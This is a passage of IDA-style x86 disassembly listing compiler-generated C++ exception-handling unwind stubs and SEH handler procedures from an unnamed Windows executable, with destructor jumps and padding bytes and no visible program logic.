		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-14Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-14Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-11Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-14Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-14Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-14Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-100h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-134h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0E8h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_404C30	proc near		; DATA XREF: sub_404C30+8o
		mov	eax, offset dword_43F9A0
		jmp	sub_437AB8
SEH_404C30	endp

; ---------------------------------------------------------------------------
		db 8Bh dup(0CCh)
; ---------------------------------------------------------------------------


loc_439800:				; DATA XREF: ___:0043FBA4o
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp-28h]
		and	eax, 1
		test	eax, eax
		jz	locret_43981E
		mov	ecx, [ebp+4]
		jmp	sub_401226
; ---------------------------------------------------------------------------

locret_43981E:				; CODE XREF: ___:00439810j
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4066A0	proc near		; DATA XREF: sub_4066A0+2o
		mov	eax, offset dword_43FB78
		jmp	sub_437AB8
SEH_4066A0	endp

; ---------------------------------------------------------------------------
		db 17h dup(0CCh)
; ---------------------------------------------------------------------------


loc_439840:				; DATA XREF: ___:0043FBDCo
		lea	ecx, [ebp-18Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp-198h]
		and	eax, 1
		test	eax, eax
		jz	locret_439864
		mov	ecx, [ebp+4]
		jmp	sub_401226
; ---------------------------------------------------------------------------

locret_439864:				; CODE XREF: ___:00439856j
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_406850	proc near		; DATA XREF: sub_406850+2o
		mov	eax, offset dword_43FBB0
		jmp	sub_437AB8
SEH_406850	endp

; ---------------------------------------------------------------------------
		db 11h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_406B80	proc near		; DATA XREF: sub_406B80+2o
		mov	eax, offset dword_43FBE8
		jmp	sub_437AB8
SEH_406B80	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-454h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_4398AB:				; DATA XREF: ___:0043FC44o
		lea	ecx, [ebp-43Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_4398B6:				; DATA XREF: ___:0043FC4Co
		lea	ecx, [ebp-424h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_406C80	proc near		; DATA XREF: sub_406C80+8o
		mov	eax, offset dword_43FC18
		jmp	sub_437AB8
SEH_406C80	endp

; ---------------------------------------------------------------------------
		db 15h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_407080	proc near		; DATA XREF: sub_407080+2o
		mov	eax, offset dword_43FC58
		jmp	sub_437AB8
SEH_407080	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp+8]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4076B0	proc near		; DATA XREF: sub_4076B0+8o
		mov	eax, offset dword_43FC88
		jmp	sub_437AB8
SEH_4076B0	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp+20h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439928:				; DATA XREF: ___:0043FCE4o
		lea	ecx, [ebp+8]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_407740	proc near		; DATA XREF: sub_407740+8o
		mov	eax, offset dword_43FCB8
		jmp	sub_437AB8
SEH_407740	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-2C4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43994B:				; DATA XREF: ___:0043FD1Co
		lea	ecx, [ebp-2DCh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-174h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-1A4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-2ACh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-2F4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-1D4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-204h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-294h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-84h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-234h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-264h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0E4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-15Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-114h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-18Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-144h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-1BCh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-27Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-1ECh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0CCh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-21Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0B4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-9Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-330h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-318h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-34Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-12Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0FCh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-2F8h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-300h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4077E0	proc near		; DATA XREF: sub_4077E0+2o
		mov	eax, offset dword_43FCF0
		jmp	sub_437AB8
SEH_4077E0	endp

; ---------------------------------------------------------------------------
		db 0CFh	dup(0CCh)
		dd 90C84D8Dh, 0C5574CE9h
		db 75h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_409650	proc near		; DATA XREF: sub_409650+2o
		mov	eax, offset dword_4400A0
		jmp	sub_437AB8
SEH_409650	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40A360	proc near		; DATA XREF: sub_40A360+2o
		mov	eax, offset dword_4400D0
		jmp	sub_437AB8
SEH_40A360	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	eax, [ebp-38h]
		and	eax, 1
		test	eax, eax
		jz	locret_439D86
		mov	ecx, [ebp+4]
		jmp	sub_401226
; ---------------------------------------------------------------------------

locret_439D86:				; CODE XREF: ___:00439D78j
		retn
; ---------------------------------------------------------------------------


loc_439D87:				; DATA XREF: ___:0044012Co
		lea	ecx, [ebp-34h]
		jmp	sub_401596
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40A500	proc near		; DATA XREF: sub_40A500+2o
		mov	eax, offset dword_440100
		jmp	sub_437AB8
SEH_40A500	endp

; ---------------------------------------------------------------------------
		align 10h
		dd 90C84D8Dh, 0C556CCE9h
		db 75h
; ---------------------------------------------------------------------------


loc_439DB9:				; DATA XREF: ___:0040AA22o
		mov	eax, offset dword_440140
		jmp	sub_437AB8
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40AEE0	proc near		; DATA XREF: sub_40AEE0+5o
		mov	eax, offset dword_440170
		jmp	sub_437AB8
SEH_40AEE0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40B060	proc near		; DATA XREF: sub_40B060+5o
		mov	eax, offset dword_4401D0
		jmp	sub_437AB8
SEH_40B060	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023
; ---------------------------------------------------------------------------


loc_439DFB:				; DATA XREF: ___:0044025Co
		mov	ecx, [ebp-10h]
		add	ecx, 32h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 60h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8Eh
		jmp	sub_40155F

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40B180	proc near		; DATA XREF: sub_40B180+2o
		mov	eax, offset dword_440230
		jmp	sub_437AB8
SEH_40B180	endp

; ---------------------------------------------------------------------------
		db 17h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023
; ---------------------------------------------------------------------------


loc_439E4B:				; DATA XREF: ___:004402A4o
		mov	ecx, [ebp-10h]
		add	ecx, 32h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 60h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8Eh
		jmp	sub_40155F

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40B240	proc near		; DATA XREF: sub_40B240+2o
		mov	eax, offset dword_440278
		jmp	sub_437AB8
SEH_40B240	endp

; ---------------------------------------------------------------------------
		db 17h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40B2E0	proc near		; DATA XREF: sub_40B2E0+2o
		mov	eax, offset dword_4402C0
		jmp	sub_437AB8
SEH_40B2E0	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439EC8:				; DATA XREF: ___:0044032Co
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40B500	proc near		; DATA XREF: sub_40B500+2o
		mov	eax, offset dword_440300
		jmp	sub_437AB8
SEH_40B500	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439EF8:				; DATA XREF: ___:0040B6C2o
		mov	eax, offset dword_440340
		jmp	sub_437AB8
; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439F30:				; DATA XREF: ___:0040B9A8o
		mov	eax, offset dword_440370
		jmp	sub_437AB8
; ---------------------------------------------------------------------------
		db 16h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40C430	proc near		; DATA XREF: sub_40C430+2o
		mov	eax, offset dword_4403B8
		jmp	sub_437AB8
SEH_40C430	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-0A78h]
		jmp	loc_401B13
; ---------------------------------------------------------------------------


loc_439F7B:				; DATA XREF: ___:00440414o
		lea	ecx, [ebp-0A3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439F86:				; DATA XREF: ___:0044041Co
		lea	ecx, [ebp-0A54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0A3Ch]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40C4D0	proc near		; DATA XREF: sub_40C4D0+8o
		mov	eax, offset dword_4403E8
		jmp	sub_437AB8
SEH_40C4D0	endp

; ---------------------------------------------------------------------------
		db 1Ah dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40CBE0	proc near		; DATA XREF: sub_40CBE0+2o
		mov	eax, offset dword_440430
		jmp	sub_437AB8
SEH_40CBE0	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-260h]
		jmp	loc_40228E
; ---------------------------------------------------------------------------


loc_439FEB:				; DATA XREF: ___:0044048Co
		lea	ecx, [ebp-278h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439FF6:				; DATA XREF: ___:00440494o
		lea	ecx, [ebp-278h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A001:				; DATA XREF: ___:0044049Co
		lea	ecx, [ebp-278h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A00C:				; DATA XREF: ___:004404A4o
		lea	ecx, [ebp-278h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40CC80	proc near		; DATA XREF: sub_40CC80+8o
		mov	eax, offset dword_440460
		jmp	sub_437AB8
SEH_40CC80	endp

; ---------------------------------------------------------------------------
		db 1Fh dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A04B:				; DATA XREF: ___:004404DCo
		mov	ecx, [ebp-10h]
		add	ecx, 19h
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40CF30	proc near		; DATA XREF: sub_40CF30+2o
		mov	eax, offset dword_4404B0
		jmp	sub_437AB8
SEH_40CF30	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A07B:				; DATA XREF: ___:00440514o
		mov	ecx, [ebp-10h]
		add	ecx, 19h
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A086:				; DATA XREF: ___:0040CFB2o
		mov	eax, offset dword_4404E8
		jmp	sub_437AB8
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40D200	proc near		; DATA XREF: sub_40D200+2o
		mov	eax, offset dword_440520
		jmp	sub_437AB8
SEH_40D200	endp

; ---------------------------------------------------------------------------
		db 16h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-16Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A0EB:				; DATA XREF: ___:00440594o
		lea	ecx, [ebp-184h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-19Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-19Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-19Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-19Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-19Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-19Ch]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40D650	proc near		; DATA XREF: sub_40D650+2o
		mov	eax, offset dword_440568
		jmp	sub_437AB8
SEH_40D650	endp

; ---------------------------------------------------------------------------
		db 1Eh dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5ECh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6ACh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-604h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-634h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-664h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-67Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-61Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5D4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5A4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-58Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-694h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5BCh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-64Ch]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40DC10	proc near		; DATA XREF: sub_40DC10+2o
		mov	eax, offset dword_4405D8
		jmp	sub_437AB8
SEH_40DC10	endp

; ---------------------------------------------------------------------------
		db 27h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A228:				; DATA XREF: ___:0044069Co
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40E2E0	proc near		; DATA XREF: sub_40E2E0+2o
		mov	eax, offset dword_440670
		jmp	sub_437AB8
SEH_40E2E0	endp

; ---------------------------------------------------------------------------
		db 16h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A278:				; DATA XREF: ___:004406F4o
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40E860	proc near		; DATA XREF: sub_40E860+2o
		mov	eax, offset dword_4406C8
		jmp	sub_437AB8
SEH_40E860	endp

; ---------------------------------------------------------------------------
		db 16h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A2C8:				; DATA XREF: ___:0044074Co
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40ECF0	proc near		; DATA XREF: sub_40ECF0+2o
		mov	eax, offset dword_440720
		jmp	sub_437AB8
SEH_40ECF0	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40EE30	proc near		; DATA XREF: sub_40EE30+2o
		mov	eax, offset dword_440760
		jmp	sub_437AB8
SEH_40EE30	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A318:				; DATA XREF: ___:004407BCo
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A348:				; DATA XREF: ___:0040F208o
		mov	eax, offset dword_440790
		jmp	sub_437AB8
; ---------------------------------------------------------------------------
		db 1Eh dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		jmp	sub_40204F
; ---------------------------------------------------------------------------


loc_43A378:				; DATA XREF: ___:0044081Co
		mov	ecx, [ebp-28h]
		add	ecx, 28h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		add	ecx, 3Dh
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		add	ecx, 56h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		add	ecx, 84h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		add	ecx, 0B2h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		add	ecx, 0E0h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
